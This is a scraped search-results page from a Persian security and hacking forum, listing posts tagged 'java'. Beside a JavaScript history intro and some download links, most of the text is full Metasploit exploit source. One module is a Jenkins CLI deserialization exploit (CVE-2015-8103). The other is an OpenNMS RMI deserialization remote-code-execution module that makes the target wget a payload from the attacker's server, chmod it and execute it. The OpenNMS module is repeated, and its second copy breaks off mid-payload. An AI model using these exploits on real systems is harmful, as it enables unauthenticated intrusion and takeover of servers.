رفتن به مطلب



iran rules jazbe modir
ADS mahak

جستجو در تالارهای گفتگو

در حال نمایش نتایج برای برچسب های 'java'.



تنظیمات بیشتر جستجو

  • جستجو بر اساس برچسب

    برچسب ها را با , از یکدیگر جدا نمایید.
  • جستجو بر اساس نویسنده

نوع محتوا


انجمن آموزش امنیت و راه های مقابله با نفوذ

  • انجمن های اصلی تیم
    • قوانین و اساسنامه ی انجمن
    • آخرین خبرها
    • اطلاعیه ها
    • مدیران
    • دوره های آموزشی
    • انتقادات پیشنهادات
  • آموزش های تخصصی
    • برنامه نویسی
    • هکینگ
    • امنیت
    • شبکه
    • سخت افزار
    • متفرقه
  • پرسش و پاسخ (FAQ)
    • سوالات و مشکلات پیرامون برنامه نویسی
    • سوالات و مشکلات پیرامون هکینگ
    • سوالات و مشکلات پیرامون امنیت
    • سوالات و مشکلات پیرامون شبکه
    • سوالات و مشکلات پیرامون سخت افزار
    • سوالات و مشکلات پیرامون سیستم عامل
    • سوالات و درخواست های متفرقه
  • سیستم عامل
  • بخش ویژه (مخصوص اعضای ویژه)
  • پروژه های تیم
  • مسابقات
  • عمومی
  • بحث آزاد علمی
  • بخش دریافت
  • آرشیو

جستجو در ...

جستجو به صورت ...


تاریخ ایجاد

  • شروع

    پایان


آخرین به روز رسانی

  • شروع

    پایان


فیلتر بر اساس تعداد ...

تاریخ عضویت

  • شروع

    پایان


گروه


درباره من


جنسیت


محل سکونت

33 نتیجه پیدا شد

  1. Doctor Robot

    Programming-JS آموزش 0 تا 100 java script

    JavaScript چیست جاوااسکریپت (JavaScript) یک از زبان‌ برنامه نویسی شیء گرا و پرطرفدار وب می‌باشد. این زبان را در ابتدا شخصی به نام Brendan Eich (برندان ایچ) در شرکت Netscape با نام Mocha طراحی نمود. این نام بعداً به LiveScript و نهایتاً به جاوااسکریپت تغییر یافت. این تغییر نام تقریباً با افزوده شدن پشتیبانی از جاوا در مرورگر وب Netscape Navigator همزمانی دارد. اولین نسخهٔ جاوااسکریپت در نسخه 2.0B3 این مرورگر در دسامبر 1995 معرفی و عرضه شد. این نام گذاری منجر به سردرگمی‌های زیادی شده و این ابهام را ایجاد می‌کند که جاوااسکریپت با جاوا مرتبط است در حالی که این‌طور نیست. عدهٔ زیادی این کار را یک ترفند تجاری برای به دست آوردن بخشی از بازار جاوا که در آن موقع زبان جدید مطرح برای برنامه‌نویسی تحت وب بود می‌دانند. JavaScript به صورت «جاواسکریپت» خوانده می‌شود، ولی در فارسی به صورت «جاوااسکریپت» ترجمه می‌شود و اگر به صورت «جاوا اسکریپت» ترجمه شود اشتباه است چون دو کلمه جدا از هم نیست و اگر به صورت دو کلمه جدا نوشته شود خطاهای نگارشی ایجاد می‌شود، به‌طور مثال ممکن است کلمه جاوا در انتهای خط و کلمه اسکریپت در ابتدای خط بعدی نوشته شود. علیرغم اشتباه عمومی، زبان جاوااسکریپت با زبان جاوا ارتباطی ندارد، اگر چه ساختار این زبان به سی پلاس پلاس (++C) و جاوا شباهت دارد که این امر برای یادگیری آسان در نظر گرفته شده‌ است.
  2. Snapshot ~ HTML5 , CSS3 , JS Demo : http://demo.moeein.ir/SnappHost-snapshot/ Download link : SnappHost-snapshot.zip - آپلود عکس و فایل رایگان
  3. Rednofozi

    Scanners Panel Finder 0.3 in Java

    سلام اسکنر دیگه برای پیدا کردن پنل ادمین همراه با سورس کدش برنامه پک شده بود شخصی سازی شده برای تیم سورس xml هم قرار داده شده یا حق Panel Finder 0.3 in Java by rednofozi.zip - AnonFile
  4. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Jenkins CLI RMI Java Deserialization Vulnerability', 'Description' => %q{ This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on the Jenkins master, which allows remote arbitrary code execution. Authentication is not required to exploit this vulnerability. }, 'Author' => [ 'Christopher Frohoff', # Vulnerability discovery 'Steve Breen', # Public Exploit 'Dev Mohanty', # Metasploit module 'Louis Sato', # Metasploit 'William Vu', # Metasploit 'juan vazquez', # Metasploit 'Wei Chen' # Metasploit ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-8103'], ['URL', 'https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py'], ['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'], ['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'], ['URL', 'https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-11-11'] ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Jenkins 1.637', {} ] ], 'DisclosureDate' => 'Nov 18 2015', 'DefaultTarget' => 0)) register_options([ OptString.new('TARGETURI', [true, 'The base path to Jenkins in order to find X-Jenkins-CLI-Port', '/']), OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']), Opt::RPORT('8080') ], self.class) end def exploit unless vulnerable? fail_with(Failure::Unknown, "#{peer} - Jenkins is not vulnerable, aborting...") end invoke_remote_method(set_payload) invoke_remote_method(class_load_payload) end # This is from the HttpClient mixin. But since this module isn't actually exploiting # HTTP, the mixin isn't used in order to favor the Tcp mixin (to avoid datastore confusion & # conflicts). We do need #target_uri and normlaize_uri to properly normalize the path though. def target_uri begin # In case TARGETURI is empty, at least we default to '/' u = datastore['TARGETURI'] u = "/" if u.nil? or u.empty? URI(u) rescue ::URI::InvalidURIError print_error "Invalid URI: #{datastore['TARGETURI'].inspect}" raise Msf::OptionValidateError.new(['TARGETURI']) end end def normalize_uri(*strs) new_str = strs * "/" new_str = new_str.gsub!("//", "/") while new_str.index("//") # Makes sure there's a starting slash unless new_str[0,1] == '/' new_str = '/' + new_str end new_str end def check result = Exploit::CheckCode::Safe begin if vulnerable? result = Exploit::CheckCode::Vulnerable end rescue Msf::Exploit::Failed => e vprint_error(e.message) return Exploit::CheckCode::Unknown end result end def vulnerable? res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) }) unless res fail_with(Failure::Unknown, 'The connection timed out.') end http_headers = res.headers unless http_headers['X-Jenkins-CLI-Port'] vprint_error('The server does not have the CLI port that is needed for exploitation.') return false end if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f <= 1.637 @jenkins_cli_port = http_headers['X-Jenkins-CLI-Port'].to_i return true end false end # Connects to the server, creates a request, sends the request, # reads the response # # Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi. # def send_request_cgi(opts={}, timeout = 20) if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0 actual_timeout = datastore['HttpClientTimeout'] else actual_timeout = opts[:timeout] || timeout end begin c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT']) c.connect r = c.request_cgi(opts) c.send_recv(r, actual_timeout) rescue ::Errno::EPIPE, ::Timeout::Error nil end end def invoke_remote_method(serialized_java_stream) begin socket = connect(true, {'RPORT' => @jenkins_cli_port}) print_status 'Sending headers...' socket.put(read_bin_file('serialized_jenkins_header')) vprint_status(socket.recv(1024)) vprint_status(socket.recv(1024)) encoded_payload0 = read_bin_file('serialized_payload_header') encoded_payload1 = Rex::Text.encode_base64(serialized_java_stream) encoded_payload2 = read_bin_file('serialized_payload_footer') encoded_payload = "#{encoded_payload0}#{encoded_payload1}#{encoded_payload2}" print_status "Sending payload length: #{encoded_payload.length}" socket.put(encoded_payload) ensure disconnect(socket) end end def print_status(msg='') super("#{rhost}:#{rport} - #{msg}") end # # Serialized stream generated with: # https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/CommonsCollections3.java # def set_payload stream = Rex::Java::Serialization::Model::Stream.new handle = File.new(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", 'serialized_file_writer' ), 'rb') decoded = stream.decode(handle) handle.close inject_payload_into_stream(decoded).encode end # # Serialized stream generated with: # https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/ClassLoaderInvoker.java # def class_load_payload stream = Rex::Java::Serialization::Model::Stream.new handle = File.new(File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8103', 'serialized_class_loader' ), 'rb') decoded = stream.decode(handle) handle.close inject_class_loader_into_stream(decoded).encode end def inject_class_loader_into_stream(decoded) file_name_utf8 = get_array_chain(decoded) .values[2] .class_data[0] .values[1] .values[0] .values[0] .class_data[3] file_name_utf8.contents = get_random_file_name file_name_utf8.length = file_name_utf8.contents.length class_name_utf8 = get_array_chain(decoded) .values[4] .class_data[0] .values[0] class_name_utf8.contents = 'metasploit.Payload' class_name_utf8.length = class_name_utf8.contents.length decoded end def get_random_file_name @random_file_name ||= "#{Rex::FileUtils.normalize_unix_path(datastore['TEMP'], "#{rand_text_alpha(4 + rand(4))}.jar")}" end def inject_payload_into_stream(decoded) byte_array = get_array_chain(decoded) .values[2] .class_data .last byte_array.values = payload.encoded.bytes file_name_utf8 = decoded.references[44].class_data[0] rnd_fname = get_random_file_name register_file_for_cleanup(rnd_fname) file_name_utf8.contents = rnd_fname file_name_utf8.length = file_name_utf8.contents.length decoded end def get_array_chain(decoded) object = decoded.contents[0] lazy_map = object.class_data[1].class_data[0] chained_transformer = lazy_map.class_data[0] chained_transformer.class_data[0] end def read_bin_file(bin_file_path) data = '' File.open(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", bin_file_path ), 'rb') do |f| data = f.read end data end end
  5. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Java::Rmi::Client include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'OpenNMS Java Object Unserialization Remote Code Execution', 'Description' => %q( This module exploits a vulnerability in the OpenNMS Java object which allows an unauthenticated attacker to run arbitary code against the system. ), 'Author' => [ 'Ben Turner <benpturner[at]yahoo.com>', # @benpturner ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/' ] ], 'Targets' => [ [ 'OpenNMS / Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], [ 'OpenNMS / Linux x86_64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 19 2014' ) ) register_options( [ Opt::RPORT(1099), OptString.new('WRITABLEDIR', [false, 'A writable directory on the host', '/tmp/']) ], self.class) end # This is the execute function that is re-used throughout def exec_command(cmd) vprint_status("#{peer} - Downloading the file #{cmd}") # Do the exploit command bit data1 = "\x4a\x52\x4d\x49\x00\x02\x4b" data2 = "\x00\x09\x31\x32\x37\x2E\x30\x2E\x31\x2E\x31\x00\x00\x00\x00\x50\xAC\xED\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x44\x15\x4D\xC9\xD4\xE6\x3B\xDF\x74\x00\x05\x70\x77\x6E\x65\x64\x73\x7D\x00\x00\x00\x01\x00\x0F\x6A\x61\x76\x61\x2E\x72\x6D\x69\x2E\x52\x65\x6D\x6F\x74\x65\x70\x78\x72\x00\x17\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x50\x72\x6F\x78\x79\xE1\x27\xDA\x20\xCC\x10\x43\xCB\x02\x00\x01\x4C\x00\x01\x68\x74\x00\x25\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x72\x65\x66\x6C\x65\x63\x74\x2F\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x70\x78\x70\x73\x72\x00\x32\x73\x75\x6E\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x61\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x2E\x41\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x55\xCA\xF5\x0F\x15\xCB\x7E\xA5\x02\x00\x02\x4C\x00\x0C\x6D\x65\x6D\x62\x65\x72\x56\x61\x6C\x75\x65\x73\x74\x00\x0F\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x4D\x61\x70\x3B\x4C\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x70\x78\x70\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x4D\x61\x70\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00\x02\x46\x00\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\x6F\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x70\x78\x70\x3F\x40\x00\x00\x00\x00\x00\x0C\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x71\x00\x7E\x00\x00\x73\x71\x00\x7E\x00\x05\x73\x7D\x00\x00\x00\x01\x00\x0D\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x4D\x61\x70\x70\x78\x71\x00\x7E\x00\x02\x73\x71\x00\x7E\x00\x05\x73\x72\x00\x2A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x6D\x61\x70\x2E\x4C\x61\x7A\x79\x4D\x61\x70\x6E\xE5\x94\x82\x9E\x79\x10\x94\x03\x00\x01\x4C\x00\x07\x66\x61\x63\x74\x6F\x72\x79\x74\x00\x2C\x4C\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\x70\x78\x70\x73\x72\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43\x68\x61\x69\x6E\x65\x64\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x30\xC7\x97\xEC\x28\x7A\x97\x04\x02\x00\x01\x5B\x00\x0D\x69\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x73\x74\x00\x2D\x5B\x4C\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\x70\x78\x70\x75\x72\x00\x2D\x5B\x4C\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\xBD\x56\x2A\xF1\xD8\x34\x18\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3B\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43\x6F\x6E\x73\x74\x61\x6E\x74\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x58\x76\x90\x11\x41\x02\xB1\x94\x02\x00\x01\x4C\x00\x09\x69\x43\x6F\x6E\x73\x74\x61\x6E\x74\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x70\x78\x70\x76\x72\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x52\x75\x6E\x74\x69\x6D\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x73\x72\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x49\x6E\x76\x6F\x6B\x65\x72\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x87\xE8\xFF\x6B\x7B\x7C\xCE\x38\x02\x00\x03\x5B\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x4C\x00\x0B\x69\x4D\x65\x74\x68\x6F\x64\x4E\x61\x6D\x65\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B\x5B\x00\x0B\x69\x50\x61\x72\x61\x6D\x54\x79\x70\x65\x73\x74\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x70\x78\x70\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63\x74\x3B\x90\xCE\x58\x9F\x10\x73\x29\x6C\x02\x00\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x0A\x67\x65\x74\x52\x75\x6E\x74\x69\x6D\x65\x75\x72\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x43\x6C\x61\x73\x73\x3B\xAB\x16\xD7\xAE\xCB\xCD\x5A\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00\x74\x00\x09\x67\x65\x74\x4D\x65\x74\x68\x6F\x64\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\xA0\xF0\xA4\x38\x7A\x3B\xB3\x42\x02\x00\x00\x70\x78\x70\x76\x71\x00\x7E\x00\x24\x73\x71\x00\x7E\x00\x1C\x75\x71\x00\x7E\x00\x21\x00\x00\x00\x02\x70\x75\x71\x00\x7E\x00\x21\x00\x00\x00\x00\x74\x00\x06\x69\x6E\x76\x6F\x6B\x65\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x76\x71\x00\x7E\x00\x21\x73\x71\x00\x7E\x00\x1C\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\x3B\xAD\xD2\x56\xE7\xE9\x1D\x7B\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74\x00" data2 += cmd.length.chr data2 += cmd data2 += "\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7E\x00\x24\x00\x00\x00\x01\x71\x00\x7E\x00\x29\x73\x71\x00\x7E\x00\x17\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x49\x6E\x74\x65\x67\x65\x72\x12\xE2\xA0\xA4\xF7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6C\x75\x65\x70\x78\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4E\x75\x6D\x62\x65\x72\x86\xAC\x95\x1D\x0B\x94\xE0\x8B\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x73\x71\x00\x7E\x00\x09\x3F\x40\x00\x00\x00\x00\x00\x10\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x76\x72\x00\x12\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x76\x65\x72\x72\x69\x64\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x71\x00\x7E\x00\x3F\x78\x71\x00\x7E\x00\x3F" begin connect sock.put(data1) # Wait for a successful response data = recv_protocol_ack # rescue nil unless data fail_with(Failure::Unknown, "This system has not responded with the correct RMI header") end # Send the RMI payload sock.put(data2) # Disconnect disconnect rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the host") end end # Wget the file onto the host in the temp directory def wget_payload resource_uri = '/' + @dropped_elf if datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::" srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri vprint_status("#{peer} - Starting up our web service on #{service_url} ...") start_service( 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri } ) exec_command("wget -P #{datastore['WRITABLEDIR']} #{service_url}") Rex.sleep(15) end # Change permissions to permit binary execution def chmod_payload cmd = "chmod +x #{File.join(datastore['WRITABLEDIR'], @dropped_elf)}" vprint_status("#{peer} - Chmod the payload...") res = exec_command(cmd) fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload") unless res Rex.sleep(1) end # Execute payload on host def exec_payload cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf) vprint_status("#{peer} - Executing the payload...") res = exec_command(cmd) fail_with(Failure::Unknown, "#{peer} - Unable to exec payload") unless res Rex.sleep(1) end # Handle incoming requests from the server def on_request_uri(cli, _request) vprint_status("#{peer} - Sending the payload to the server...") send_response(cli, generate_payload_exe) end # Create the payload and run the commands in succcession def exploit print_status("#{peer} - Exploting the vulnerable service...") @payload_url = '' @dropped_elf = rand_text_alpha(rand(5) + 3) wget_payload chmod_payload exec_payload end end
  6. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Java::Rmi::Client include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'OpenNMS Java Object Unserialization Remote Code Execution', 'Description' => %q( This module exploits a vulnerability in the OpenNMS Java object which allows an unauthenticated attacker to run arbitary code against the system. ), 'Author' => [ 'Ben Turner <benpturner[at]yahoo.com>', # @benpturner ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/' ] ], 'Targets' => [ [ 'OpenNMS / Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], [ 'OpenNMS / Linux x86_64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 19 2014' ) ) register_options( [ Opt::RPORT(1099), OptString.new('WRITABLEDIR', [false, 'A writable directory on the host', '/tmp/']) ], self.class) end # This is the execute function that is re-used throughout def exec_command(cmd) vprint_status("#{peer} - Downloading the file #{cmd}") # Do the exploit command bit data1 = "\x4a\x52\x4d\x49\x00\x02\x4b" data2 = "\x00\x09\x31\x32\x37\x2E\x30\x2E\x31\x2E\x31\x00\x00\x00\x00\x50\xAC\xED\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x44\x15\x4D\xC9\xD4\xE6\x3B\xDF\x74\x00\x05\x70\x77\x6E\x65\x64\x73\x7D\x00\x00\x00\x01\x00\x0F\x6A\x61\x76\x61\x2E\x72\x6D\x69\x2E\x52\x65\x6D\x6F\x74\x65\x70\x78\x72\x00\x17\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x50\x72\x6F\x78\x79\xE1\x27\xDA\x20\xCC\x10\x43\xCB\x02\x00\x01\x4C\x00\x01\x68\x74\x00\x25\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x72\x65\x66\x6C\x65\x63\x74\x2F\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x70\x78\x70\x73\x72\x00\x32\x73\x75\x6E\x2E\x72\x65\x66\x6C\x65\x63\x74\x2E\x61\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x2E\x41\x6E\x6E\x6F\x74\x61\x74\x69\x6F\x6E\x49\x6E\x76\x6F\x63\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x55\xCA\xF5\x0F\x15\xCB\x7E\xA5\x02\x00\x02\x4C\x00\x0C\x6D\x65\x6D\x62\x65\x72\x56\x61\x6C\x75\x65\x73\x74\x00\x0F\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x4D\x61\x70\x3B\x4C\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x70\x78\x70\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x4D\x61\x70\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00\x02\x46\x00\x0A\x6C\x6F\x61\x64\x46\x61\x63\x74\x6F\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x70\x78\x70\x3F\x40\x00\x00\x00\x00\x00\x0C\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x71\x00\x7E\x00\x00\x73\x71\x00\x7E\x00\x05\x73\x7D\x00\x00\x00\x01\x00\x0D\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x4D\x61\x70\x70\x78\x71\x00\x7E\x00\x02\x73\x71\x00\x7E\x00\x05\x73\x72\x00\x2A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x6D\x61\x70\x2E\x4C\x61\x7A\x79\x4D\x61\x70\x6E\xE5\x94\x82\x9E\x79\x10\x94\x03\x00\x01\x4C\x00\x07\x66\x61\x63\x74\x6F\x72\x79\x74\x00\x2C\x4C\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\x70\x78\x70\x73\x72\x00\x3A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43\x68\x61\x69\x6E\x65\x64\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x30\xC7\x97\xEC\x28\x7A\x97\x04\x02\x00\x01\x5B\x00\x0D\x69\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x73\x74\x00\x2D\x5B\x4C\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\x70\x78\x70\x75\x72\x00\x2D\x5B\x4C\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\xBD\x56\x2A\xF1\xD8\x34\x18\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3B\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43\x6F\x6E\x73\x74\x61\x6E\x74\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x58\